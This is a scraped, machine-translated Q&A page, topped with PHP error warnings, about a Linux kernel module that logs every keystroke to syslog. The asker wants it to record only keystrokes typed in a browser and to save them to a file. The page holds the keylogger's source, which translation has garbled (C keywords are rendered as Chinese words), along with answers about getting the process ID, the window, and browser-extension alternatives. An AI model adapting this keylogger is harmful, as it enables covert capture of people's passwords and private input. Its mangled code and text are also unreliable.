Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/reporting-services/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/0/email/3.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Linux kernel 内核模块,用于识别按键是否来自浏览器窗口_Linux Kernel - Fatal编程技术网

Linux kernel 内核模块,用于识别按键是否来自浏览器窗口

Linux kernel 内核模块,用于识别按键是否来自浏览器窗口,linux-kernel,Linux Kernel,我有一个基本的键盘记录器内核模块,它将所有按键记录到系统日志中。我只需要记录在浏览器中进行的按键操作。有没有办法找到导致中断的应用程序的进程id?还有,有没有办法将按键保存到文件中?有人能帮忙吗……) #包括 #包括 #包括 #包括 模块许可证(“GPL”); #ifdef通知程序块 结构通知程序块{ int(*通知程序调用)(结构通知程序块*,无符号长,无效*); 结构通知程序块*下一步; int优先级; }; #恩迪夫 字符调用(intv) { char val=NULL; 如果(v==16

我有一个基本的键盘记录器内核模块,它将所有按键记录到系统日志中。我只需要记录在浏览器中进行的按键操作。有没有办法找到导致中断的应用程序的进程id?还有,有没有办法将按键保存到文件中?有人能帮忙吗……)

#包括
#包括
#包括
#包括
模块许可证(“GPL”);
#ifdef通知程序块
结构通知程序块{
int(*通知程序调用)(结构通知程序块*,无符号长,无效*);
结构通知程序块*下一步;
int优先级;
};
#恩迪夫
字符调用(intv)
{
char val=NULL;
如果(v==16){val='q';}
如果(v==17){val='w';}
如果(v==18){val='e';}
如果(v==19){val='r';}
如果(v==20){val='t';}
如果(v==21){val='y';}
如果(v==22){val='u';}
如果(v==23){val='i';}
如果(v==24){val='o';}
如果(v==25){val='p';}
如果(v==30){val='a';}
如果(v==31){val='s';}
如果(v==32){val='d';}
如果(v==33){val='f';}
如果(v==34){val='g';}
如果(v==35){val='h';}
如果(v==36){val='j';}
如果(v==37){val='k';}
如果(v==38){val='l';}
如果(v==44){val='z';}
如果(v==45){val='x';}
如果(v==46){val='c';}
如果(v==47){val='v';}
如果(v==48){val='b';}
如果(v==49){val='n';}
如果(v==50){val='m';}
如果(v==28){val='\n';}
如果(v==57){val='\t';}
如果(v==51){val=',';}
如果(v==78){val='+';}
如果(v==55){val='*';}
如果(v==98){val='/';}
如果(v==13){val='=';}
如果(v==39){val=';';}
else如果((v==11)| |(v==82)){val='0'}
else如果((v==2)| |(v==79)){val='1'}
else如果((v==3)| |(v==80)){val='2'}
else如果((v==4)| |(v==81)){val='3'}
else如果((v==5)| |(v==75)){val='4'}
else如果((v==6)| |(v==76)){val='5'}
else如果((v==7)| |(v==77)){val='6'}
else如果((v==8)| |(v==71)){val='7'}
else如果((v==9)| |(v==72)){val='8'}
else如果((v==10)| |(v==73)){val='9'}
else如果((v==12)| |(v==74)){val='-'}
else如果((v==83)| |(v==52)){val='.}
返回val;
}
int hello\u notify(结构通知程序块*nblock,无符号长代码,void*\u参数){
结构键盘\通知程序\参数*参数=\参数;//本地引用
结构vc_data*vc=param->vc;
char-val;
int ret=通知_OK;
if(代码==KBD\U键代码){
val=调用(参数->值);
如果(参数->向下)
{printk(KERN_INFO“键盘记录器%c”,val);
c=val;
}
//printk(内核调试“键盘记录器%i%s\n”,参数->值,(参数->向下?:“向上”);
}
返回ret;
}
静态结构通知程序\u块nb={
.notifier\u call=你好\u通知
};
导出新符号(通知程序块);
静态int hello_init(void)
{ 
注册\键盘\通知程序(&nb);
返回0;
}
静态void hello_发布(void)
{
取消注册键盘通知程序(&nb);
}
模块_init(hello_init);
模块退出(你好释放);

有没有办法找到导致中断的应用程序的进程id

current->pid 
包含后#包含

将告诉您按照以下和中断的进程

这假设您从通知程序应该处于的中断上下文调用
current->pid
,除非您在通知程序中执行不应该执行的繁重计算

如果您处于进程上下文中,或者有一个抢占式内核作为注释,并且正在使用宏获取有关
当前
的信息,则如果任何重要时间已过,则调度程序将对其进行更改

根据下面的注释演示如何写入文件。在内核中执行文件IO不是一个好主意,尤其是在中断上下文中

有一个将按键写入内存缓冲区而不是文件的示例

下面演示如何从进程id获取进程名称

然而,所有这些都会让您知道,对于一个具有给定名称的进程,只需按键,它无法确定一个具有名称的进程是否与浏览器窗口有任何关联

请参阅下文,其中解释了如何从进程id获取X11窗口,以及下面使用XGrabKey和Xlib在用户空间中获取密钥


确保按键来自特定浏览器的更可靠方法,不仅是在用户空间级别,而且是在浏览器插件或扩展级别。Chrome的例子是,Firefox的例子是。

从Linux内核中写入文件是。不过,请检查一下,看看如何做到这一点。进程不会导致键盘中断。“当前”PID在抢占式多任务操作系统上是不可靠的。也就是说,被中断的过程不一定就是信息将被传递到的过程。
current->pid